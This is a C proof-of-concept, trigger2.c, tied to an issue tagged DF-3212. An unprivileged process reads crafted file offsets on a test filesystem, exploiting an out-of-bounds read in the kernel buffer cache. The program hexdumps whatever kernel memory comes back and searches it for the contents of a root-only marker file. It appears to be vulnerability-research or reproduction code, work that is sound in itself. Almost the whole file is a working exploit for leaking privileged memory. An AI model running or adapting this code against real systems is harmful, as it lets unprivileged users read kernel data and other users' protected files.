DF-3212 / trigger2.c
/* * trigger2.c - DF-3212 unprivileged OOB-read slot/page scanner. * For slot k (1..7) and in-slot page offsets, pread(512) at file offset * k*0x10000 + sub (< i_size, valid) -> uiomove source = b_data + k*65536 + sub. * Any non-zero return at these VALID offsets is impossible on a clean fs; * EFAULT means the source pointer faulted (unmapped buffer-cache KVA). * Success: "DF3212-ROOT-SECRET-" (root-only 0600 file content) in buf[]. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #define MARKER "DF3212-ROOT-SECRET-" static void hexdump(const unsigned char *p, int n, const char *tag){ printf(" -- %s (%d bytes) --\n", tag, n); for (int i = 0; i < n; i += 16) { printf(" %04x ", i); for (int j = 0; j < 16 && i + j < n; j++) printf("%02x ", p[i+j]); printf(" |"); for (int j = 0; j < 16 && i + j < n; j++) printf("%c", (p[i+j] >= 32 && p[i+j] < 127) ? p[i+j] : '.'); printf("|\n"); } } int main(int argc, char **argv){ const char *path = (argc > 1) ? argv[1] : "/mnt/test/leak.bin"; int fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); return 2; } static const int subs[] = { 0x123, 0x1123, 0x2123, 0x4123, 0x6123 }; unsigned char buf[512]; int leaked = 0, nonzero = 0, efault = 0, clean = 0; for (int k = 1; k <= 7 && !leaked; k++) { for (size_t s = 0; s < sizeof(subs)/sizeof(subs[0]); s++) { off_t off = (off_t)k * 0x10000 + subs[s]; memset(buf, 0, sizeof buf); errno = 0; ssize_t n = pread(fd, buf, sizeof buf, off); if (n < 0) { efault += (errno == EFAULT); continue; } int isz = 1; for (ssize_t i = 0; i < n; i++) if (buf[i]) { isz = 0; break; } if (isz) { clean++; continue; } nonzero++; printf("k=%d off=0x%06llx NON-ZERO KERNEL DATA:\n", k, (unsigned long long)off); hexdump(buf, (int)n, "leaked"); for (ssize_t i = 0; i + 19 <= n; i++) if (memcmp(buf + i, MARKER, 19) == 0) { printf(" *** ROOT-ONLY MARKER FILE " "CONTENT LEAKED (k=%d +%zd) ***\n", k, i); leaked = 1; break; } } } printf("SCAN nonzero=%d clean=%d efault=%d LEAK=%d\n", nonzero, clean, efault, leaked); return leaked ? 0 : (nonzero || efault ? 1 : 3); } |